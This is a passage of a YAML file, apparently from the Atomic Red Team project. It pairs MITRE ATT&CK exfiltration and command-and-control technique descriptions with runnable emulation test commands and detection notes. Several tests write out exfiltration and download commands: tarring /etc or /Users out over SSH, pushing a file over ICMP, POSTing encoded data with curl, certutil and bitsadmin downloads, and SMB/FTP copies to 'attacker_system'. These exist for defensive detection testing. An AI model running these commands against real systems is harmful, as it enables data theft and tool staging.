- Process monitoring
name: Data Compressed
description: An adversary may compress data (e.g., sensitive documents) that
is collected prior to exfiltration in order to make it portable and minimize
the amount of data sent over the network. The compression is done separately
from the exfiltration channel and is performed using a custom program or algorithm,
or a more common compression library or utility such as 7zip, RAR, ZIP, or
zlib.
id: attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.
If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_network_requirements: false
created: '2017-05-31T21:30:19.338Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: exfiltration
external_references:
- external_id: T1002
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1002
- source_name: Wikipedia File Header Signatures
description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
April 22, 2016.
url: https://en.wikipedia.org/wiki/List_of_file_signatures
modified: '2019-07-17T18:24:51.771Z'
identifier: T1002
atomic_tests:
- name: Compress Data for Exfiltration With PowerShell
description: "An adversary may compress data (e.g., sensitive documents) that
is collected prior to exfiltration \n"
supported_platforms:
- windows
input_arguments:
input_file:
description: Path that should be compressed into our output file
type: Path
default: C:\*
output_file:
description: Path where resulting compressed data should be placed
type: Path
default: C:\test\Data.zip
executor:
name: powershell
elevation_required: false
command: 'dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}
'
- name: Compress Data for Exfiltration With Rar
description: "An adversary may compress data (e.g., sensitive documents) that
is collected prior to exfiltration \n"
supported_platforms:
- windows
input_arguments:
input_file:
description: Path that should be compressed into our output file
type: Path
default: "*.docx"
output_file:
description: Path where resulting compressed data should be placed
type: Path
default: exfilthis.rar
executor:
name: command_prompt
elevation_required: false
command: 'rar a -r #{output_file} #{input_file}
'
- name: Data Compressed - nix - zip
description: 'An adversary may compress data (e.g., sensitive documents) that
is collected prior to exfiltration. This test uses standard zip compression.
'
supported_platforms:
- linux
- macos
input_arguments:
input_files:
description: Path that should be compressed into our output file, may include
wildcards
type: Path
default: "/tmp/victim-files/*"
output_file:
description: Path that should be output as a zip archive
type: Path
default: "/tmp/victim-files.zip"
executor:
name: sh
elevation_required: false
command: 'zip #{output_file} #{input_files}
'
- name: Data Compressed - nix - gzip Single File
description: 'An adversary may compress data (e.g., sensitive documents) that
is collected prior to exfiltration. This test uses standard gzip compression.
'
supported_platforms:
- linux
- macos
input_arguments:
input_file:
description: Path that should be compressed
type: Path
default: "/tmp/victim-gzip.txt"
executor:
name: sh
elevation_required: false
command: 'gzip -f #{input_file}
'
- name: Data Compressed - nix - tar Folder or File
description: 'An adversary may compress data (e.g., sensitive documents) that
is collected prior to exfiltration. This test uses standard gzip compression.
'
supported_platforms:
- linux
- macos
input_arguments:
input_file_folder:
description: Path that should be compressed
type: Path
default: "/tmp/victim-files/"
output_file:
description: File that should be output
type: Path
default: "/tmp/victim-files.tar.gz"
executor:
name: sh
elevation_required: false
command: 'tar -cvzf #{output_file} #{input_file_folder}'
T1022:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- Binary file metadata
name: Data Encrypted
description: |-
Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.
Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)
id: attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: "Encryption software and encrypted files can be detected
in many ways. Common utilities that may be present on the system or brought
in by an adversary may be detectable through process monitoring and monitoring
for command-line arguments for known encryption utilities. This may yield
a significant amount of benign events, depending on how systems in the environment
are typically used. Often the encryption key is stated within command-line
invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll
may be used to perform encryption, decryption, or verification of file signatures.
\n\nNetwork traffic may also be analyzed for entropy to determine if encrypted
data is being transmitted. (Citation: Zhang 2013) If the communications channel
is unencrypted, encrypted files of known file types can be detected in transit
during exfiltration with a network intrusion detection or data loss prevention
system analyzing file headers. (Citation: Wikipedia File Header Signatures)"
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_network_requirements: false
created: '2017-05-31T21:30:30.260Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: exfiltration
external_references:
- external_id: T1022
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1022
- description: Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting
encrypted botnet traffic. Retrieved August 19, 2015.
source_name: Zhang 2013
url: http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf
- description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
April 22, 2016.
source_name: Wikipedia File Header Signatures
url: https://en.wikipedia.org/wiki/List_of_file_signatures
modified: '2018-10-17T00:14:20.652Z'
identifier: T1022
atomic_tests:
- name: Data Encrypted with zip and gpg
description: 'Encrypt data for exiltration
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: sh
elevation_required: false
command: |
echo "This file will be encrypted" > /tmp/victim-gpg.txt
mkdir /tmp/victim-files
cd /tmp/victim-files
touch a b c d e f g
zip --password "insert password here" /tmp/victim-files.zip /tmp/victim-files/*
gpg -c /tmp/victim-gpg.txt
ls -l
- name: Compress Data and lock with password for Exfiltration with winrar
description: |
Note: Requires winrar installation
rar a -p"blue" hello.rar (VARIANT)
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
mkdir ./tmp/victim-files
cd ./tmp/victim-files
echo "This file will be encrypted" > ./encrypted_file.txt
rar a -hp"blue" hello.rar
dir
- name: Compress Data and lock with password for Exfiltration with winzip
description: |
Note: Requires winzip installation
wzzip sample.zip -s"blueblue" *.txt (VARIANT)
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
path=%path%;"C:\Program Files (x86)\winzip"
mkdir ./tmp/victim-files
cd ./tmp/victim-files
echo "This file will be encrypted" > ./encrypted_file.txt
winzip32 -min -a -s"hello" archive.zip *
dir
- name: Compress Data and lock with password for Exfiltration with 7zip
description: 'Note: Requires 7zip installation
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
mkdir ./tmp/victim-files
cd ./tmp/victim-files
echo "This file will be encrypted" > ./encrypted_file.txt
7z a archive.7z -pblue
dir
T1030:
technique:
x_mitre_data_sources:
- Packet capture
- Netflow/Enclave netflow
- Process use of network
- Process monitoring
name: Data Transfer Size Limits
description: An adversary may exfiltrate data in fixed size chunks instead of
whole files or limit packet sizes below certain thresholds. This approach
may be used to avoid triggering network data transfer threshold alerts.
id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
sending significantly more data than it receives from a server). If a process
maintains a long connection during which it consistently sends fixed size
data packets or a process opens connections and sends fixed sized data packets
at regular intervals, it may be performing an aggregate data transfer. Processes
utilizing the network that do not normally have network communication or have
never been seen before are suspicious. Analyze packet contents to detect communications
that do not follow the expected protocol behavior for the port that is being
used. (Citation: University of Birmingham C2)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_network_requirements: true
created: '2017-05-31T21:30:34.523Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: exfiltration
external_references:
- external_id: T1030
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1030
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
modified: '2019-06-24T12:03:02.387Z'
identifier: T1030
atomic_tests:
- name: Data Transfer Size Limits
description: 'Take a file/directory, split it into 5Mb chunks
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: sh
elevation_required: false
command: |
cd /tmp/
dd if=/dev/urandom of=/tmp/victim-whole-file bs=25M count=1
split -b 5000000 /tmp/victim-whole-file
ls -l
T1048:
technique:
x_mitre_data_sources:
- User interface
- Process monitoring
- Process use of network
- Packet capture
- Netflow/Enclave netflow
- Network protocol analysis
name: Exfiltration Over Alternative Protocol
description: "Data exfiltration is performed with a different protocol from
the main command and control protocol or channel. The data is likely to be
sent to an alternate network location from the main command and control server.
Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network
protocol not being used as the main command and control channel. Different
channels could include Internet Web services such as cloud storage.\n\nAdversaries
may leverage various operating system utilities to exfiltrate data over an
alternative protocol. \n\nSMB command-line example:\n\n* net use \\\\\\attacker_system\\IPC$
/user:username password && xcopy /S /H /C /Y C:\\Users\\\\* \\\\\\attacker_system\\share_folder\\\n\nAnonymous
FTP command-line example:(Citation: Palo Alto OilRig Oct 2016)\n\n* echo
PUT C:\\Path\\to\\file.txt | ftp -A attacker_system\n"
id: attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776
x_mitre_network_requirements: true
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
sending significantly more data than it receives from a server). Processes
utilizing the network that do not normally have network communication or have
never been seen before are suspicious. Analyze packet contents to detect communications
that do not follow the expected protocol behavior for the port that is being
used. (Citation: University of Birmingham C2)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Alfredo Abarca
created: '2017-05-31T21:30:44.720Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: exfiltration
external_references:
- external_id: T1048
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1048
- description: Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware
Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.
source_name: Palo Alto OilRig Oct 2016
url: http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
modified: '2019-09-18T12:50:17.488Z'
identifier: T1048
atomic_tests:
- name: Exfiltration Over Alternative Protocol - SSH
description: |
Input a domain and test Exfiltration over SSH
Remote to Local
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
domain:
description: target SSH domain
type: url
default: target.example.com
user_name:
description: username for domain
type: string
default: atomic
password:
description: password for user
type: string
default: atomic
executor:
name: sh
elevation_required: false
command: 'ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
'
- name: Exfiltration Over Alternative Protocol - SSH
description: |
Input a domain and test Exfiltration over SSH
Local to Remote
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
domain:
description: target SSH domain
type: url
default: target.example.com
user_name:
description: username for domain
type: string
default: atomic
password:
description: password for user
type: string
default: atomic
executor:
name: sh
elevation_required: false
command: 'tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh
#{user_name}@#{domain} ''cat > /Users.tar.gz.enc''
'
- name: Exfiltration Over Alternative Protocol - HTTP
description: 'A firewall rule (iptables or firewalld) will be needed to allow
exfiltration on port 1337.
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: manual
steps: |
1. Victim System Configuration:
mkdir /tmp/victim-staging-area
echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt
2. Using Python to establish a one-line HTTP server on victim system:
cd /tmp/victim-staging-area
python -m SimpleHTTPServer 1337
3. To retrieve the data from an adversary system:
wget http://VICTIM_IP:1337/victim-file.txt
- name: Exfiltration Over Alternative Protocol - ICMP
description: 'Exfiltration of specified file over ICMP protocol.
'
supported_platforms:
- windows
input_arguments:
input_file:
description: Path to file to be exfiltrated.
type: Path
default: C:\Windows\System32\notepad.exe
ip_address:
description: Destination IP address where the data should be sent.
type: String
default: 1.1.1.1
executor:
name: powershell
elevation_required: false
command: '$ping = New-Object System.Net.Networkinformation.ping; foreach($Data
in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}",
1500, $Data) }
'
command-and-control:
'':
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Host network interface
- Netflow/Enclave netflow
- Network protocol analysis
- Packet capture
- SSL/TLS inspection
name: Web Service
description: |-
Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.
These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.
Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
modified: '2019-07-18T21:21:18.135Z'
id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665
x_mitre_network_requirements: true
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Host data that can relate unknown or suspicious process
activity using a network connection is important to supplement any existing
indicators of compromise based on malware command and control signatures and
infrastructure or the presence of strong encryption. Packet capture analysis
will require SSL/TLS inspection if data is encrypted. Analyze network data
for uncommon data flows (e.g., a client sending significantly more data than
it receives from a server). User behavior monitoring may help to detect abnormal
patterns of activity. Analyze packet contents to detect communications that
do not follow the expected protocol behavior for the port that is being used.
(Citation: University of Birmingham C2)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Anastasios Pingios
created: '2017-05-31T21:31:13.915Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: command-and-control
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1102
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1102
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
x_mitre_defense_bypassed:
- Binary Analysis
- Log analysis
- Firewall
atomic_tests: []
T1090:
technique:
x_mitre_data_sources:
- Process use of network
- Process monitoring
- Netflow/Enclave netflow
- Packet capture
name: Connection Proxy
description: |-
Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.
External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server.
Internal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems.
id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea
modified: '2019-07-08T21:11:18.343Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Brian Prange
- Heather Linn
- Walker Johnson
created: '2017-05-31T21:31:08.479Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: command-and-control
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1090
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1090
- source_name: Trend Micro APT Attack Tools
description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
of the Trade. Retrieved December 2, 2015.'
url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
x_mitre_defense_bypassed:
- Log Analysis
- Firewall
identifier: T1090
atomic_tests:
- name: Connection Proxy
description: |
Enable traffic redirection.
Note that this test may conflict with pre-existing system configuration.
supported_platforms:
- macos
- linux
input_arguments:
proxy_server:
description: Proxy server URL (host:port)
type: url
default: 127.0.0.1:8080
proxy_scheme:
description: Protocol to proxy (http or https)
type: string
default: http
executor:
name: sh
command: 'export #{proxy_scheme}_proxy=#{proxy_server}
'
cleanup_command: |-
unset http_proxy
unset https_proxy
T1132:
technique:
x_mitre_data_sources:
- Packet capture
- Process use of network
- Process monitoring
- Network protocol analysis
x_mitre_permissions_required:
- User
name: Data Encoding
description: 'Command and control (C2) information is encoded using a standard
data encoding system. Use of data encoding may be to adhere to existing protocol
specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or
other binary-to-text and character encoding systems. (Citation: Wikipedia
Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data
encoding systems may also result in data compression, such as gzip.'
id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f
x_mitre_contributors:
- Itzik Kotler, SafeBreach
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
sending significantly more data than it receives from a server). Processes
utilizing the network that do not normally have network communication or have
never been seen before are suspicious. Analyze packet contents to detect communications
that do not follow the expected protocol behavior for the port that is being
used. (Citation: University of Birmingham C2)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_network_requirements: true
created: '2017-05-31T21:31:43.540Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: command-and-control
external_references:
- external_id: T1132
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1132
- source_name: Wikipedia Binary-to-text Encoding
description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
March 1, 2017.
url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
- source_name: Wikipedia Character Encoding
description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
March 1, 2017.
url: https://en.wikipedia.org/wiki/Character_encoding
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
modified: '2019-06-14T17:35:11.182Z'
identifier: T1132
atomic_tests:
- name: Base64 Encoded data.
description: 'Utilizing a common technique for posting base64 encoded data.
'
supported_platforms:
- macos
- linux
input_arguments:
destination_url:
description: Destination URL to post encoded data.
type: string
default: redcanary.com
base64_data:
description: Encoded data to post using fake Social Security number 111-11-1111.
type: string
default: MTExLTExLTExMTE=
executor:
name: sh
command: |
echo -n 111-11-1111 | base64
curl -XPOST #{base64_data}.#{destination_url}
T1105:
technique:
x_mitre_data_sources:
- File monitoring
- Packet capture
- Process use of network
- Netflow/Enclave netflow
- Network protocol analysis
- Process monitoring
x_mitre_permissions_required:
- User
name: Remote File Copy
description: |-
Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).
id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_network_requirements: true
created: '2017-05-31T21:31:16.408Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: command-and-control
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1105
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1105
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
modified: '2019-07-18T17:47:57.120Z'
identifier: T1105
atomic_tests:
- name: rsync remote file copy (push)
description: 'Utilize rsync to perform a remote file copy (push)
'
supported_platforms:
- linux
- macos
input_arguments:
local_path:
description: Path of folder to copy
type: Path
default: "/tmp/adversary-rsync/"
username:
description: User account to authenticate on remote host
type: String
default: victim
remote_host:
description: Remote host to copy toward
type: String
default: victim-host
remote_path:
description: Remote path to receive rsync
type: Path
default: "/tmp/victim-files"
executor:
name: bash
command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
'
- name: rsync remote file copy (pull)
description: 'Utilize rsync to perform a remote file copy (pull)
'
supported_platforms:
- linux
- macos
input_arguments:
remote_path:
description: Path of folder to copy
type: Path
default: "/tmp/adversary-rsync/"
username:
description: User account to authenticate on remote host
type: String
default: adversary
remote_host:
description: Remote host to copy from
type: String
default: adversary-host
local_path:
description: Local path to receive rsync
type: Path
default: "/tmp/victim-files"
executor:
name: bash
command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
'
- name: scp remote file copy (push)
description: 'Utilize scp to perform a remote file copy (push)
'
supported_platforms:
- linux
- macos
input_arguments:
local_file:
description: Path of file to copy
type: Path
default: "/tmp/adversary-scp"
username:
description: User account to authenticate on remote host
type: String
default: victim
remote_host:
description: Remote host to copy toward
type: String
default: victim-host
remote_path:
description: Remote path to receive scp
type: Path
default: "/tmp/victim-files/"
executor:
name: bash
command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path}
'
- name: scp remote file copy (pull)
description: 'Utilize scp to perform a remote file copy (pull)
'
supported_platforms:
- linux
- macos
input_arguments:
remote_file:
description: Path of file to copy
type: Path
default: "/tmp/adversary-scp"
username:
description: User account to authenticate on remote host
type: String
default: adversary
remote_host:
description: Remote host to copy from
type: String
default: adversary-host
local_path:
description: Local path to receive scp
type: Path
default: "/tmp/victim-files/"
executor:
name: bash
command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path}
'
- name: sftp remote file copy (push)
description: 'Utilize sftp to perform a remote file copy (push)
'
supported_platforms:
- linux
- macos
input_arguments:
local_file:
description: Path of file to copy
type: Path
default: "/tmp/adversary-sftp"
username:
description: User account to authenticate on remote host
type: String
default: victim
remote_host:
description: Remote host to copy toward
type: String
default: victim-host
remote_path:
description: Remote path to receive sftp
type: Path
default: "/tmp/victim-files/"
executor:
name: bash
command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}''
'
- name: sftp remote file copy (pull)
description: 'Utilize sftp to perform a remote file copy (pull)
'
supported_platforms:
- linux
- macos
input_arguments:
remote_file:
description: Path of file to copy
type: Path
default: "/tmp/adversary-sftp"
username:
description: User account to authenticate on remote host
type: String
default: adversary
remote_host:
description: Remote host to copy from
type: String
default: adversary-host
local_path:
description: Local path to receive sftp
type: Path
default: "/tmp/victim-files/"
executor:
name: bash
command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path}
'
- name: certutil download (urlcache)
description: 'Use certutil -urlcache argument to download a file from the web.
Note - /urlcache also works!
'
supported_platforms:
- windows
input_arguments:
remote_file:
description: URL of file to copy
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path:
description: Local path to place file
type: Path
default: Atomic-license.txt
executor:
name: command_prompt
elevation_required: false
command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}
'
- name: certutil download (verifyctl)
description: 'Use certutil -verifyctl argument to download a file from the web.
Note - /verifyctl also works!
'
supported_platforms:
- windows
input_arguments:
remote_file:
description: URL of file to copy
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path:
description: Local path to place file
type: Path
default: Atomic-license.txt
executor:
name: powershell
elevation_required: false
command: |
$datePath = "certutil-$(Get-Date -format yyyy_MM_dd_HH_mm)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
- name: Windows - BITSAdmin BITS Download
description: |
This test uses BITSAdmin.exe to schedule a BITS job for the download of a file.
This technique is used by Qbot malware to download payloads.
supported_platforms:
- windows
input_arguments:
bits_job_name:
description: Name of the created BITS job
type: String
default: qcxjb7
remote_file:
description: URL of file to copy
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path:
description: Local path to place file
type: Path
default: Atomic-license.txt
executor:
name: command_prompt
command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority
HIGH #{remote_file} #{local_path}'
T1071:
technique:
x_mitre_data_sources:
- Packet capture
- Netflow/Enclave netflow
- Process use of network
- Malware reverse engineering
- Process monitoring
name: Standard Application Layer Protocol
description: |-
Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.
id: attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
sending significantly more data than it receives from a server). Processes
utilizing the network that do not normally have network communication or have
never been seen before are suspicious. Analyze packet contents to detect application
layer protocols that do not follow the expected protocol for the port that
is being used. (Citation: University of Birmingham C2)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_network_requirements: true
created: '2017-05-31T21:30:56.776Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: command-and-control
external_references:
- external_id: T1071
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1071
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
modified: '2019-06-21T15:16:29.198Z'
identifier: T1071
